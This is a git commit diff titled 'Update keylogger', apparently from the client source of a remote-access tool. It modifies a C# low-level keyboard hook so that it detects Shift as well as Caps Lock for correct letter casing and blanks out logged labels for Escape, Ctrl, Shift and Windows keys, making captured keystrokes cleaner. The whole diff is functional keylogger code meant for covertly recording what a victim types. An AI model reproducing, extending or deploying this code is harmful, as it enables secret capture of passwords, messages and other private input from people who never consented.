Update keylogger

This commit is contained in:
NYAN CAT 2019-06-15 18:57:26 +03:00
parent 32da8715c4
commit 3d6fc39c2c

View File

@ -56,10 +56,11 @@ namespace Client.Handle_Packet
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{ {
int vkCode = Marshal.ReadInt32(lParam); int vkCode = Marshal.ReadInt32(lParam);
bool CapsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0; bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
string currentKey = KeyboardLayout((uint)vkCode); string currentKey = KeyboardLayout((uint)vkCode);
if (CapsLock) if (capsLock || shiftPress)
{ {
currentKey = KeyboardLayout((uint)vkCode).ToUpper(); currentKey = KeyboardLayout((uint)vkCode).ToUpper();
} }
@ -82,25 +83,31 @@ namespace Client.Handle_Packet
currentKey = "[ENTER]\n"; currentKey = "[ENTER]\n";
break; break;
case "Escape": case "Escape":
currentKey = "[ESC]\n"; //currentKey = "[ESC]\n";
currentKey = "";
break; break;
case "LControlKey": case "LControlKey":
currentKey = "[CTRL]"; //currentKey = "[CTRL]";
currentKey = "";
break; break;
case "RControlKey": case "RControlKey":
currentKey = "[CTRL]"; //currentKey = "[CTRL]";
currentKey = "";
break; break;
case "RShiftKey": case "RShiftKey":
currentKey = "[Shift]"; //currentKey = "[Shift]";
currentKey = "";
break; break;
case "LShiftKey": case "LShiftKey":
currentKey = "[Shift]"; //currentKey = "[Shift]";
currentKey = "";
break; break;
case "Back": case "Back":
currentKey = "[Back]"; currentKey = "[Back]";
break; break;
case "LWin": case "LWin":
currentKey = "[WIN]"; //currentKey = "[WIN]";
currentKey = "";
break; break;
case "Tab": case "Tab":
currentKey = "[Tab]\n"; currentKey = "[Tab]\n";